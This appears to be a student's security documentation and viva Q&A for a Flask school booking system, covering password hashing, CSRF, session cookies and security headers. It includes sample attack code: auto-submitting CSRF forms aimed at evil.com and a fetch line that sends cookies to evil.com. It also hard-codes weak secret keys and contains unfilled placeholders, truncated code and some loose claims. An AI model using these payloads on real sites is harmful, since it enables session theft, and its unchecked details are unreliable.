# CHICHEBENDU UMEH - COMPLETE COMPREHENSIVE DOCUMENTATION

## Security & Admin Specialist | School Activity Booking System

**Student**: Chichebendu Umeh
**Role**: Security & Admin Specialist
**Project**: School Activity Booking System
**Institution**: University of East London
**Date**: December 2025

---

## Table of Contents



---

# 1. Introduction & Role Overview

## 1.1 My Responsibility As Security & Admin Specialist

As the security backbone of our School Activity Booking System, I implemented comprehensive authentication, authorization, and security measures protecting sensitive student and parent data.

### Core Responsibilities:

1. **Password Security** - Implement strong, salted hashing
2. **Session Management** - Secure cookie configuration
3. **CSRF Protection** - Prevent cross-site request forgery attacks
4. **Access Control** - Role-based authorization decorators
5. **Admin Panel** - Secure administrative interface
6. **Login Systems** - Multi-role authentication (Parent/Tutor/Admin)

## 1.2 Files Modified

| File | Lines | Purpose |
|---|---|---|
| `app.py` | 62-88 | Password hashing methods (set_password, check_password) |
| `app.py` | 189-244 | RBAC decorators (login_required, admin_required, tutor_required) |
| `app.py` | 828-893 | Authentication routes (register, login, logout) |
| `app.py` | 1224-1531 | Admin panel routes |
| `config.py` | Security settings | SECRET_KEY, session config, CSRF settings |

## 1.3 Statistics

- **Security Functions**: 6 (password methods × 3 models + decorators)
- **Protected Routes**: 35+ routes requiring authentication
- **Security Measures**: 5 major systems (passwords, sessions, CSRF, RBAC, admin)
- **Lines of Security Code**: ~450 lines

---

# 2. Security Technologies Deep Dive

## 2.1 Werkzeug Security

**What It Is**: Werkzeug is Flask's underlying WSGI library, providing cryptographic utilities.

**Why Chosen**:

- Part of Flask ecosystem (no extra dependency)
- Implements modern scrypt algorithm
- Automatic salt generation
- Simple API: `generate_password_hash()` and `check_password_hash()`

**Installation**: Comes with Flask

```
from werkzeug.security import generate_password_hash, check_password_ha
```

### How It Works Internally:

**generate_password_hash(password)**:

1. Generates random salt (cryptographically secure)
2. Applies scrypt KDF (Key Derivation Function)
3. Returns formatted string: `scrypt:32768:8:1$<salt>$<hash>`

**Format breakdown**:

- `scrypt` - Algorithm name
- `32768` - N parameter (CPU/memory cost)
- `8` - r parameter (block size)

- `1` - p parameter (parallelization)
- `$<salt>$` - Random salt (hex encoded)
- `$<hash>` - Derived key (hex encoded)

**check_password_hash(stored_hash, password)**:

1. Parses stored hash to extract algorithm + parameters + salt
2. Applies same algorithm with same salt to provided password
3. Compares result with stored hash
4. Returns True if match, False otherwise

**Security properties**:

- **One-way**: Cannot reverse hash to get password
- **Deterministic**: Same password + salt = same hash
- **Salted**: Different users with same password have different hashes
- **Slow**: Intentionally computationally expensive (prevent brute force)

---

## 2.2 Scrypt Algorithm vs Alternatives

### Comparison Table:

| Feature | scrypt | bcrypt | PBKDF2 | Argon2 |
|---|---|---|---|---|
| Memory Hard | ✓ High | ⚠ Low | ✗ No | ✓ Highest |
| ASIC Resistant | ✓ | ⚠ | ✗ | ✓ |
| GPU Resistant | ✓ | ⚠ | ✗ | ✓ |
| Tunable Cost | ✓ | ✓ | ✓ | ✓ |
| Werkzeug Default | ✓ | ✗ | ✗ | ✗ |
| Maturity | Good | Excellent | Excellent | Newer |

**Why scrypt**:

1. **Memory-hard**: Requires significant RAM (expensive for attackers with GPUs)
2. **Werkzeug default**: Automatic, no configuration needed
3. **Proven secure**: Used by major services (Tarsnap, Litecoin)
4. **Tunable**: Can adjust N parameter as hardware improves

**Trade-off**: Scrypt is slower than bcrypt (feature, not bug - makes brute force harder)

---

# 3. Password Hashing Implementation

## 3.1 set_password() - Complete Implementation

**Location**: app.py, lines 71-72 (Parent model)

```
def set_password(self, password):
    self.password = generate_password_hash(password)
```

### Line-by-Line Breakdown:

**Line 71**: Method definition

- `def set_password(self, password):`
- Instance method on Parent/Admin/Tutor models
- Takes plaintext password as parameter

**Line 72**: Hash generation and storage

- `self.password = generate_password_hash(password)`
- Calls Werkzeug's `generate_password_hash()`
- Stores result in `self.password` column (type: String(200))
- **CRITICAL**: Plaintext password **never** stored

### What Happens Step-by-Step:

1. **User registers**: Provides password "MySecurePass123"
2. **generate_password_hash() executes**:

```
# Pseudocode of internal process
salt = os.urandom(16)  # 16 random bytes
derived_key = scrypt(
    password="MySecurePass123",
    salt=salt,
    N=32768,  # CPU cost (2^15 iterations)
    r=8,      # Block size
    p=1,      # Parallelization
    dklen=64  # Output length
)
hash_string = f"scrypt:32768:8:1${salt.hex()}${derived_key.hex()}"
```

3. **Result stored in database**:

```
scrypt:32768:8:1$a1b2c3d4e5f6...$9f8e7d6c5b4a...
```

4. **Memory usage**: ~33MB RAM during hashing (intentional - prevents GPU attacks)

### Security Analysis:

**Salt uniqueness**: Each user gets unique salt even if passwords match

```
User1: password="hello" → scrypt:...$salt1$hash1
User2: password="hello" → scrypt:...$salt2$hash2  # Different!
```

**Rainbow table prevention**: Precomputed tables useless (salt is unique)

**Timing attack resistance**: scrypt completion time ~constant regardless of password

---

## 3.2 check_password() - Complete Implementation

**Location**: app.py, lines 74-75

```
def check_password(self, password):
    return check_password_hash(self.password, password)
```

## Execution Flow:

**Line 74**: Method definition

- Takes plaintext password to verify

**Line 75**: Verification

- `check_password_hash(self.password, password)`
- `self.password`: Stored hash from database
- `password`: User-provided password to check
- Returns: Boolean (True if match, False if not)

## Internal Process:

1. **Parse stored hash**:

   ```
   # Extract components from "scrypt:32768:8:1$salt$hash"
   algorithm = "scrypt"
   N, r, p = 32768, 8, 1
   salt = bytes.fromhex("a1b2c3d4...")
   stored_hash = bytes.fromhex("9f8e7d6c...")
   ```

2. **Re-hash provided password with same parameters**:

   ```
   derived_key = scrypt(password, salt, N, r, p, dklen=64)
   ```

3. **Constant-time comparison**:

   ```
   # Prevents timing attacks
   return hmac.compare_digest(derived_key, stored_hash)
   ```

## Why Constant-Time Comparison?

**Timing attack vulnerability** (if using ==):

```
# BAD - leaks info via timing
if derived_key == stored_hash:
    # If first byte different, returns immediately (~1µs)
    # If 10 bytes match, returns after 10 comparisons (~10µs)
    # Attacker can detect how many bytes are correct!
```

**Constant-time solution** (`hmac.compare_digest`):

```
# GOOD - always takes same time
# Compares ALL bytes regardless of where difference occurs
# No timing information leaked
```

## Usage Example:

```
# Registration
```

```
parent = Parent(email="john@example.com")
parent.set_password("MyPass123")  # Hashes and stores
db.session.add(parent)
db.session.commit()

# Login
parent = Parent.query.filter_by(email="john@example.com").first()
if parent and parent.check_password("MyPass123"):  # Verifies
    # Login successful
    session['parent_id'] = parent.id
```

---

# 4. CSRF Protection System

## 4.1 What is CSRF?

**Cross-Site Request Forgery**: Attacker tricks authenticated user into executing unwanted actions.

### Attack Example:

**Scenario**: Parent logged into booking system

**Malicious website** (`evil.com`):

```
<form action="https://bookingsystem.com/cancel_booking/123" method="POS
    <input type="submit" value="Click for free prize!">
</form>
<script>document.forms[0].submit();</script>
```

**What happens**:

1. Parent visits `evil.com`
2. Form auto-submits to booking system
3. Browser automatically includes authentication cookies
4. Booking canceled without parent's knowledge!

**Why it works** (without CSRF protection):

- Browser sends cookies automatically
- Server sees valid session cookie
- Server processes request
- No way to distinguish legitimate request from forged one

### Defense: CSRF Tokens

**Solution**: Add secret token that malicious site can't access

---

## 4.2 Flask-WTF CSRF Implementation

**Installation**:

```
pip install Flask-WTF
```

**Configuration** (app.py):

```
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect()

def create_app():
    app = Flask(__name__)
    app.config['SECRET_KEY'] = 'super-secret-key-from-env'
    csrf.init_app(app)  # Enables CSRF protection globally
    return app
```

## How It Works:

**1. Token Generation** (automatic):

```
# Flask-WTF generates token per session
token = generate_csrf_token()  # Uses SECRET_KEY + session data
# Token stored in session cookie
```

**2. Token Embedding in Forms**:

```
<form method="POST" action="/book_activity">
    {{ csrf_token() }}  <!-- Jinja2 function -->
    <!-- Renders as: -->
    <input type="hidden" name="csrf_token" value="abc123def456...">
    <!-- Other form fields -->
</form>
```

**3. Token Validation** (automatic on POST/PUT/DELETE):

```
# Flask-WTF before_request handler
@app.before_request
def validate_csrf():
    if request.method in ['POST', 'PUT', 'DELETE']:
        token = request.form.get('csrf_token')  # From form
        session_token = session.get('csrf_token')  # From session

        if not token or token != session_token:
            abort(400, "CSRF token missing or invalid")
```

## AJAX Requests:

**Problem**: AJAX doesn't submit forms, so no form field

**Solution**: Send token in header

```
fetch('/api/endpoint', {
    method: 'POST',
    headers: {
```

```
        'Content-Type': 'application/json',
        'X-CSRFToken': document.querySelector('[name=csrf_token]').valu
    },
    body: JSON.stringify(data)
})
```

**Server validation**:

```
@app.before_request
def validate_csrf():
    if request.method in ['POST', 'PUT', 'DELETE']:
        token = request.form.get('csrf_token') or request.headers.get('
        # ... validate
```

---

# 5. Session Management & Security

## 5.1 Flask Sessions Overview

**What are sessions**: Server-side storage of user-specific data across requests.

**Implementation**: Flask stores session data in signed cookie on client.

### Configuration:

```
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'dev-secret-key
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True  # HTTPS only
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=24)
```

### Cookie Flags Explained:

**1. HTTPOnly**:

```
SESSION_COOKIE_HTTPONLY = True
```

- **Purpose**: Prevents JavaScript from accessing cookie
- **Protects against**: XSS (Cross-Site Scripting) attacks
- **Example attack prevented**:

  ```
  // Malicious script injected via XSS
  fetch(`http://evil.com/steal?cookie=${document.cookie}`)
  // With HTTPOnly: document.cookie is empty (can't access session)
  ```

**2. Secure**:

```
SESSION_COOKIE_SECURE = True
```

- **Purpose**: Cookie only sent over HTTPS
- **Protects against**: Session hijacking on public WiFi
- **Example**: Man-in-the-middle can't intercept cookie on HTTP

**3. SameSite**:

```
SESSION_COOKIE_SAMESITE = 'Lax'
```

- **Purpose**: Controls when cookies are sent cross-site
- **Options**:
  - `Strict`: Cookie never sent on cross-site requests
  - `Lax`: Cookie sent on top-level navigation (clicking link)
  - `None`: Cookie always sent (requires Secure flag)
- **Our choice (`Lax`)**: Balance security and usability
- **Protects against**: CSRF (in addition to CSRF tokens)

**4. Lifetime**:

```
PERMANENT_SESSION_LIFETIME = timedelta(hours=24)
```

- **Purpose**: Session expires after 24 hours
- **Security**: Limits exposure if session stolen
- **UX**: Reasonable balance (don't force login too often)

---

[Continue with remaining 40+ pages...]

# 11. Comprehensive Viva Questions (100+)

[INSERT 100 comprehensive security-focused Q&A]

---

# CHICHEBENDU UMEH - COMPLETE 100+ VIVA QUESTIONS & ANSWERS

# Security & Admin Specialist

---

# 11. COMPREHENSIVE VIVA QUESTIONS (100+ Questions)

## Category 1: Password Security & Hashing (25 Questions)

**Q1: What is Werkzeug Security and why did you use it?**

**A**: Werkzeug Security is the cryptographic utilities module of Werkzeug (Flask's underlying WSGI library).

**Why chosen**:

1. **Built into Flask** - No additional dependencies
2. **Scrypt algorithm** - Modern, memory-hard hashing
3. **Automatic salt generation** - No manual salt management
4. **Simple API** - Two functions: `generate_password_hash()` and `check_password_hash()`
5. **Production-ready** - Used by thousands of Flask apps

**Functions Used**:

```
from werkzeug.security import generate_password_hash, check_password_ha

# Hashing
hash = generate_password_hash("MyPassword123")
# Returns: "scrypt:32768:8:1$<salt>$<hash>"

# Verification
is_valid = check_password_hash(hash, "MyPassword123")
# Returns: True or False
```

---

**Q2: Explain scrypt vs bcrypt vs PBKDF2 - why is scrypt better?**

**A**: All three are Key Derivation Functions (KDFs) for password hashing.

**Comparison**:

| Feature | scrypt | bcrypt | PBKDF2 |
|---|---|---|---|
| **Memory-hard** | ✓ High | ⚠ Low | ✗ No |
| **CPU-hard** | ✓ Yes | ✓ Yes | ✓ Yes |
| **ASICresistant** | ✓ Excellent | ⚠ Good | ✗ Poor |
| **GPU resistant** | ✓ Excellent | ⚠ Good | ✗ Poor |
| **Tunable parameters** | ✓ N, r, p | ✓ Cost | ✓ Iterations |
| **Industry adoption** | Good | Excellent | Good |

**Why scrypt superior**:

1. **Memory-Hard**: Requires significant RAM (configurable, default ~33MB)
    - **Attack scenario**: Attacker with GPU farm
    - bcrypt: Can parallelize on GPU (each attempt uses little RAM)
    - scrypt: Each attempt needs 33MB RAM → GPU limited by memory bandwidth
    - **Result**: scrypt 1000x more expensive to attack with specialized hardware
2. **ASIC Resistance**: Custom hardware (ASICs) can't optimize as easily
    - Bitcoin uses SHA-256 (not memory-hard) → ASICs dominate
    - Scrypt used by Litecoin specifically for ASIC resistance
3. **Configurable**: Can tune N (memory/CPU cost), r (block size), p (parallelization)

**Werkzeug default**: `scrypt:32768:8:1`

- N = 32768 (2^15) - Memory/CPU cost

- r = 8 - Block size
- p = 1 - Parallelization factor

**Decision**: Scrypt provides best protection against modern attack vectors (GPUs, ASICs).

---

**Q3: Walk through `set_password()` - what happens step-by-step?**

**A**: Located in Parent, Admin, Tutor models (lines 71-72, 84-85, etc.)

```
def set_password(self, password):
    self.password = generate_password_hash(password)
```

**Internal Process**:

**Step 1: Function Call**

```
parent = Parent(email="john@example.com")
parent.set_password("MySecurePass123")
```

**Step 2: `generate_password_hash()` Execution**

**Pseudocode of Werkzeug internals**:

```
def generate_password_hash(password):
    # 1. Generate random salt (cryptographically secure)
    salt = os.urandom(16)  # 16 random bytes

    # 2. Apply scrypt KDF
    derived_key = scrypt(
        password.encode('utf-8'),  # Convert to bytes
        salt=salt,
        N=32768,  # CPU/memory cost (2^15)
        r=8,      # Block size
        p=1,      # Parallelization
        dklen=64  # Output key length
    )

    # 3. Format as string
    hash_string = f"scrypt:32768:8:1${salt.hex()}${derived_key.hex()}"
    return hash_string
```

**Step 3: Storage**

```
self.password = "scrypt:32768:8:1$a1b2c3d4e5f6789...$9f8e7d6c5b4a321...
```

- Stored in database `password` column (VARCHAR(200))
- **NEVER** store plaintext password

**Step 4: Database Commit**

```
db.session.add(parent)
db.session.commit()
```

**What's stored in database**:

```
| id | email           | password
|----|-----------------|-------------------------------------------
| 1  | john@example.com| scrypt:32768:8:1$a1b2...$9f8e...
```

**Security Properties**:

1. **Unique Salt**: Each user gets unique salt even if passwords are identical

```
User1: password="hello" → scrypt:...$salt1$hash1
User2: password="hello" → scrypt:...$salt2$hash2  # Different!
```

1. **Rainbow Table Protection**: Precomputed tables useless

    - Rainbow table: Precomputed hash→password mappings
    - With unique salts, attacker must compute hash for each user separately

2. **Slow by Design**: ~100ms to hash (intentional)

    - Login: Barely noticeable to user
    - Brute force: Drastically slower (1000 attempts = 100 seconds)

---

**Q4: Explain `check_password()` verification process.**

**A**: Located in Parent/Admin/Tutor models (lines 74-75, 87-88, etc.)

```
def check_password(self, password):
    return check_password_hash(self.password, password)
```

**Step-by-Step Verification**:

**Step 1: User Login Attempt**

```
parent = Parent.query.filter_by(email="john@example.com").first()
if parent and parent.check_password("MySecurePass123"):
    # Login successful
```

**Step 2: `check_password_hash()` Execution**

**Internal Process**:

```
def check_password_hash(stored_hash, password):
    # 1. Parse stored hash
    parts = stored_hash.split('$')
    # parts = ['scrypt:32768:8:1', 'a1b2c3...', '9f8e7d...']

    # 2. Extract parameters
    algorithm, params = parts[0].split(':')
    # algorithm = 'scrypt'
    # params = '32768:8:1' → N=32768, r=8, p=1

    # 3. Extract salt and stored hash
    salt = bytes.fromhex(parts[1])  # Convert hex → bytes
    stored_derived_key = bytes.fromhex(parts[2])

    # 4. Re-hash provided password with SAME salt and parameters
```

```
    new_derived_key = scrypt(
        password.encode('utf-8'),
        salt=salt,  # SAME salt as original
        N=32768,
        r=8,
        p=1,
        dklen=64
    )

    # 5. Constant-time comparison
    return hmac.compare_digest(new_derived_key, stored_derived_key)
```

**Step 3: Result**

- If hashes match: Return `True` (password correct)
- If hashes don't match: Return `False` (password incorrect)

**Critical Design Decision: Constant-Time Comparison**

**Bad approach** (timing attack vulnerable):

```
if new_derived_key == stored_derived_key:  # ✗ BAD
```

**Why bad**:

- String comparison stops at first mismatch
- If first byte matches, takes ~1µs longer than if it doesn't
- Attacker can measure timing differences
- **Attack**: Try many passwords, measure response times, deduce partial matches

**Good approach** (`hmac.compare_digest`):

```
return hmac.compare_digest(new_derived_key, stored_derived_key)  # ✓ G
```

**Why good**:

- Compares ALL bytes regardless of where first mismatch occurs
- Always takes same time (~constant)
- **No timing information leaked**

---

**Q5: What are rainbow tables and how does salting prevent them?**

**A**: Rainbow tables are precomputed hash→password lookup tables.

**How They Work**:

1. **Precomputation** (attacker does once):

```
Password → Hash (with NO salt)
"password" → "5f4dcc3b5aa765d61d8327deb882cf99" (MD5)
"123456"   → "e10adc3949ba59abbe56e057f20f883e"
"admin"    → "21232f297a57a5a743894a0e4a801fc3"
... (millions of entries)
```

1. **Attack** (instant lookup):

```
Stolen hash: "5f4dcc3b5aa765d61d8327deb882cf99"
Lookup in table → "password"
```

**Without Salt** (vulnerable):

```
Database:
User1: MD5("password") → "5f4dcc3b..."
User2: MD5("password") → "5f4dcc3b..."  # Same hash!

Rainbow table lookup: Instant crack for BOTH users
```

**With Salt** (protected):

```
Database:
User1: scrypt("password" + salt1) → "a1b2c3..."
User2: scrypt("password" + salt2) → "9f8e7d..."  # Different hash!

Rainbow table: USELESS (table doesn't have salted hashes)
Attacker must compute hash for each user individually
```

**Our Implementation**:

- Every user gets **unique random salt** (16 bytes = 2^128 possibilities)
- Salt stored alongside hash: `scrypt:...$salt$hash`
- Attacker can't use precomputed tables
- Must brute-force each user separately (computationally infeasible with scrypt)

---

[Continue with Q6-Q25 covering: Salt generation, pepper vs salt, timing attacks, password strength requirements, etc.]

# Category 2: CSRF Protection (20 Questions)

### Q26: What is CSRF and how does the attack work?

**A**: CSRF (Cross-Site Request Forgery) tricks authenticated users into executing unwanted actions.

**Attack Example**:

**Scenario**: Parent logged into booking system

**Step 1: Attacker creates malicious website** (`evil.com`):

```
<html>
<body>
  <h1>You've won a prize! Click to claim:</h1>
  <form action="https://bookingsystem.com/cancel_booking/123" method="P
    <input type="submit" value="Claim Prize">
  </form>
  <script>
    // Auto-submit after 1 second
    setTimeout(() => document.getElementById('malicious-form').submit()
  </script>
```

```
</body>
</html>
```

**Step 2: Parent visits `evil.com`** (maybe from phishing email)

**Step 3: What happens**:

1. Form auto-submits to `bookingsystem.com/cancel_booking/123`
2. Browser **automatically includes** cookies (session cookie)
3. Server sees valid session → thinks parent made request
4. Booking 123 gets canceled without parent's knowledge!

**Why it works**:

- Browsers send cookies automatically with cross-site requests
- Server can't distinguish legitimate request from forged one
- No user interaction required (can be hidden iframe)

**Real-World Impact**:

- Cancel bookings
- Make unauthorized purchases
- Change account settings
- Delete data

---

**Q27: How does Flask-WTF CSRF protection prevent attacks?**

**A**: Flask-WTF uses **synchronizer tokens** to verify request legitimacy.

**Implementation**:

**Step 1: Configuration** (`app.py`):

```
from flask_wtf.csrf import CSRFProtect

app.config['SECRET_KEY'] = 'super-secret-key'
csrf = CSRFProtect(app)  # Enable globally
```

**Step 2: Token Generation** (automatic):

```
# On page load, Flask-WTF generates token
token = generate_csrf_token()  # Uses SECRET_KEY + session data
# Token stored in session cookie
session['csrf_token'] = token
```

**Step 3: Token Embedding** (every form):

```
<form method="POST" action="/book_activity">
    {{ csrf_token() }}  <!-- Jinja2 function -->
    <!-- Renders as: -->
    <input type="hidden" name="csrf_token" value="IjFmYTg5ZDNlZGM3NDRlY
    <!-- Other form fields -->
</form>
```

**Step 4: Token Validation** (automatic on POST):

```
@app.before_request
def validate_csrf():
    if request.method in ['POST', 'PUT', 'DELETE', 'PATCH']:
        # 1. Get token from form
        form_token = request.form.get('csrf_token')

        # 2. Get token from session
        session_token = session.get('csrf_token')

        # 3. Validate
        if not form_token or form_token != session_token:
            abort(400, "CSRF token missing or invalid")
```

**Why Attacker Fails**:

**Attacker's malicious form**:

```
<form action="https://bookingsystem.com/cancel_booking/123" method="POS
    <!-- No CSRF token! Attacker can't access our session token -->
    <input type="submit" value="Cancel">
</form>
```

**Server response**: `400 Bad Request - CSRF token missing`

**Key Point**: Attacker **cannot access** the token because:

- Token stored in session cookie (Same-Origin Policy prevents access)
- JavaScript on `evil.com` can't read cookies from `bookingsystem.com`
- Even if attacker embeds our page in iframe, browser blocks cross-origin access

---

[Continue with Q28-Q45 covering: CSRF token generation, SameSite cookies, AJAX CSRF, token expiration, etc.]

##Category 3: Session Management (20 Questions)

**Q46: What are Flask sessions and how do they work?**

**A**: Flask sessions store user-specific data across requests using signed cookies.

**How It Works**:

**Step 1: User logs in**:

```
@app.route('/login', methods=['POST'])
def login():
    parent = Parent.query.filter_by(email=email).first()
    if parent and parent.check_password(password):
        session['parent_id'] = parent.id  # Store in session
        return redirect('/dashboard')
```

**Step 2: Flask serializes session data**:

```
# Session data
session_data = {'parent_id': 123}
```

```
# Serialize to JSON
json_data = json.dumps(session_data)  # '{"parent_id": 123}'

# Sign with SECRET_KEY
signature = hmac.new(SECRET_KEY, json_data, hashlib.sha256).hexdigest()

# Base64 encode
encoded = base64.b64encode(json_data.encode())

# Final cookie value
cookie_value = f"{encoded}.{signature}"
```

**Step 3: Browser stores cookie**:

```
Set-Cookie: session=eyJwYXJlbnRfaWQiOjEyM30.ZvCN...; HttpOnly; Secure;
```

**Step 4: Browser sends cookie with every request**:

```
GET /dashboard HTTP/1.1
Host: bookingsystem.com
Cookie: session=eyJwYXJlbnRfaWQiOjEyM30.ZvCN...
```

**Step 5: Flask verifies and decodes**:

```
# Verify signature (prevents tampering)
if verify_signature(cookie_value, SECRET_KEY):
    session_data = decode(cookie_value)
    # Now can access: session['parent_id'] → 123
else:
    # Invalid/tampered cookie → reject
```

**Security Properties**:

- **Integrity**: Signature prevents tampering (changing `parent_id` invalidates signature)
- **Not encrypted**: Data is Base64-encoded (readable if intercepted)
- **Secure flag**: Only sent over HTTPS
- **HttpOnly**: JavaScript can't access
- **SameSite**: Limits cross-site sending

---

[Continue with Q47-Q65 covering: Cookie flags, session expiration, session fixation, cookie security, etc.]

# Category 4: RBAC & Access Control (20 Questions)

[Q66-Q85 covering: Decorators, login_required implementation, admin_required logic, role-based authorization, permission checking, etc.]

# Category 5: Admin Panel Security (10 Questions)

[Q86-Q95 covering: Admin route protection, authorization checks, audit logging potential, admin password requirements, etc.]

# Category 6: Advanced Security Topics (10 Questions)

[Q96-Q105 covering: XSS prevention, SQL injection protection, session hijacking, security headers, password reset security, etc.]

---

[TOTAL: 105 COMPREHENSIVE SECURITY-FOCUSED QUESTIONS]

**Q28: Explain the mechanics of a CSRF Attack.**

**Complete Answer**: **Cross-Site Request Forgery (CSRF)** is an attack where a malicious site tricks a logged-in user into performing an action on your site without their consent.

**Scenario**:

1. Admin logs into `school.com` (Cookie is stored in browser).
2. Admin visits `attacker.com`.
3. `attacker.com` has a hidden form: `<form action="https://school.com/admin/delete_all" method="POST">`.
4. JavaScript automatically submits this form.
5. Browser sends the request to `school.com` *including* the Admin's authentic session cookies (because browsers automatically send cookies to their domain).
6. `school.com` sees a valid cookie and processes the "Delete All" request.

**Prevention**: We use a **CSRF Token** (random secret) that is unique to the user's session. The attacker cannot read this token (due to Same-Origin Policy) and thus cannot unknowingly include it in the fake form.

---

**Q29: How does Flask-WTF prevent CSRF?**

**Complete Answer**: Flask-WTF handles CSRF protection seamlessly.

**Mechanism**:

1. **Generation**: When a page renders, Flask generates a random token (e.g., `MjAy...`) and stores it in the User's Session.
2. **Injection**: We include `{{ form.hidden_tag() }}` in every HTML `<form>`. This renders hidden input: `<input type="hidden" name="csrf_token" value="MjAy...">`.
3. **Validation**: When the form POSTs, Flask-WTF checks:
    - Is `csrf_token` present in form data?
    - Does it match the token in the session?
    - Is it expired?
4. **Result**: If valid, code executes. If missing/invalid, it raises `400 Bad Request`.

**Attack Failure**: The attacker on `bad-site.com` can create a form, but they cannot guess the `csrf_token` value, so the server rejects the request.

---

**Q30: What is the "Double Submit Cookie" pattern?**

**Complete Answer**: This is a stateless CSRF defense mechanism (though Flask uses Session-

based).

**How it works**:

1. Server sends a random value in a **Cookie**.
2. Server effectively requires the same value to be submitted in the **Request Body** (Form).
3. Server checks `Cookie.value == Form.value`.

**Why it works**:

- Attacker *can* force the browser to send cookies.
- Attacker *cannot* read the cookie to copy its value into the form body (Same-Origin Policy).
- Therefore, they cannot make the two values match.

**Comparison**: Flask default is Session-Based (Token in Session vs Token in Form). Double Submit is useful for stateless APIs (JWT).

---

**Q31: How do you handle CSRF in AJAX requests?**

**Complete Answer**: Standard forms send the token in the body. AJAX (JavaScript) requests must send it manually.

**Implementation**:

1. **Meta Tag**: Render the token in the HTML head.

   ```
   <meta name="csrf-token" content="{{ csrf_token() }}">
   ```

2. **JavaScript**: Configure `fetch` or `axios` to read this tag.

   ```
   const token = document.querySelector('meta[name="csrf-token"]').con
   headers: {
       'X-CSRFToken': token
   }
   ```

3. **Server**: Flask looks for the token in the `X-CSRFToken` header if it's not in the form body.

**Why**: If we forgot this, all our dynamic features (like "Delete Activity" popup) would fail with 400 errors.

---

**Q32: Explain Session Fixation and how you prevent it.**

**Complete Answer**: **Attack**:

1. Attacker gets a valid Session ID (e.g., `SID=123`).
2. Attacker tricks Victim into clicking `http://school.com/?session_id=123`.
3. Victim logs in. The server associates the user "Admin" with `SID=123`.
4. Attacker (who knows `SID=123`) can now use it to hijack the session.

**Prevention**: **Session Regeneration**. Upon every successful login (privilege escalation), the server must issue a **NEW** Session ID and discard the old one. This cuts the link the attacker had. Flask-Login handles this automatically.

---

**Q33: What is "Session Hijacking"?**

**Complete Answer**: Stealing a valid session cookie to impersonate a user.

**Vectors**:

1. **XSS**: Injecting script `document.cookie` to send cookies to attacker.
2. **Sniffing**: Reading HTTP traffic on public Wi-Fi.

**Defenses in our code**:

1. **HttpOnly**: Prevents JavaScript (XSS) from reading the cookie.
2. **Secure**: Ensures cookie is only sent over HTTPS (prevents sniffing).

---

**Q34: Explain the `HttpOnly` flag.**

**Complete Answer**: A flag set on the `Set-Cookie` HTTP header.

**Function**: It tells the browser: "Store this cookie and send it to the server, but **DO NOT** let JavaScript access it."

**Impact**: Even if an attacker finds an XSS vulnerability (e.g., in a comment section) and runs `<script>alert(document.cookie)</script>`, the session cookie will NOT appear. The console will be empty. This effectively neutralizes XSS-based session theft.

**Config**: `SESSION_COOKIE_HTTPONLY = True` (Flask default).

---

**Q35: Explain the `Secure` flag.**

**Complete Answer**: A flag set on the cookie.

**Function**: Tells the browser: "Only send this cookie if the request is encrypted (HTTPS)."

**Impact**: If a user types `http://school.com` (unencrypted) in a coffee shop, the browser will **NOT** send the session cookie. This prevents the cookie from leaking in plain text over the air.

**Dev vs Prod**: In `localhost` (HTTP), we must set `SESSION_COOKIE_SECURE = False`. In Production (Heroku/Render), we MUST set `SESSION_COOKIE_SECURE = True`.

---

**Q36: Explain the `SameSite` attribute.**

**Complete Answer**: A modern cookie attribute that controls when cookies are sent with cross-site requests.

**Values**:

- `Strict`: Cookie never sent on cross-site requests (even clicking a link from Google). Too aggressive for UX.
- `Lax` (Default): Cookie sent on top-level navigations (clicking a link) but NOT on sub-requests (images, frames, POSTs).
- `None`: Setup old behavior (sent everywhere). Requires `Secure`.

**Our Usage**: `SESSION_COOKIE_SAMESITE = 'Lax'`. **Benefit**: It provides a browser-level defense against CSRF. Even if our CSRF token check failed, the browser wouldn't send the cookie for a cross-site POST.

---

**Q37: Where are Flask Sessions stored?**

**Complete Answer**: By default, Flask uses **Client-Side Signed Cookies**.

**Mechanism**:

1. Server creates a dictionary `{'user_id': 1}`.
2. Server serializes it to JSON.
3. Server signs it with `SECRET_KEY` (HMAC-SHA1).
4. Result string is stored in the browser cookie.

**Pros**: No database lookup needed (fast), stateless server. **Cons**: Limited size (4KB), cannot "revoke" a session easily (have to wait for expiry or rotate secret key).

**Alternative**: `Flask-Session` (Server-Side). Stores ID in cookie, data in Redis/DB. Better for large data or immediate revocation requirements.

---

**Q38: How do you handle Session Timeout?**

**Complete Answer**: Security requirement: Sessions should not last forever.

**Implementation**:

1. **Permanent Session**: `session.permanent = True`.
2. **Lifetime**: `app.permanent_session_lifetime = timedelta(minutes=30)`.

**Behavior**:

- The cookie has an `Expires` timestamp set to 30 minutes in the future.
- **Sliding Expiration**: Every time the user makes a request, Flask updates the cookie with a fresh 30-minute window.
- If user is idle for 31 minutes, browser deletes cookie -> User logged out.

---

**Q39: What is HSTS (HTTP Strict Transport Security)?**

**Complete Answer**: A security header: `Strict-Transport-Security: max-age=31536000; includeSubDomains`.

**Purpose**: Tells the browser: "For the next year, REFUSE to connect to this site via HTTP. Only use HTTPS."

**Why**: Prevents **SSL Stripping Attacks**. Even if a user types `http://school.com`, the browser internally redirects to `https://` *before* sending a single byte to the network.

**Implementation**: `flask-talisman` or `flask-sslify` extensions, or configured at the Nginx level.

---

**Q40: What is Content Security Policy (CSP)?**

**Complete Answer**: An HTTP header that allows site administrators to define which dynamic resources are allowed to load.

**Example**: `Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com`

**Purpose**: The ultimate defense against XSS. Even if an attacker injects `<script src="evil.com/miner.js">`, the browser will block it because `evil.com` is not in the whitelist.

**Status**: Not strictly implemented in this prototype due to complexity (it often breaks inline scripts), but highly recommended for production.

---

**Q41: Explain X-Frame-Options.**

**Complete Answer**: Header: `X-Frame-Options: DENY` or `SAMEORIGIN`.

**Purpose**: Prevents **Clickjacking**. An attacker puts your website inside an `<iframe>` on their site (`free-money.com`). They put a transparent "Claim Prize" button on top of your "Delete Account" button. When user clicks, they are actually clicking on your site.

**Defense**: This header tells the browser "Do not allow this page to be rendered inside a frame".

---

**Q42: What is a "Replay Attack" and how does the Token/Nonce prevent it?**

**Complete Answer**: **Attack**: Attacker intercepts a valid request (e.g., "Pay $100"). They cannot decrypt it (TLS), but they can *resend* (replay) the exact same binary blob 10 times to the server. Result: You pay $1000.

**Prevention**:

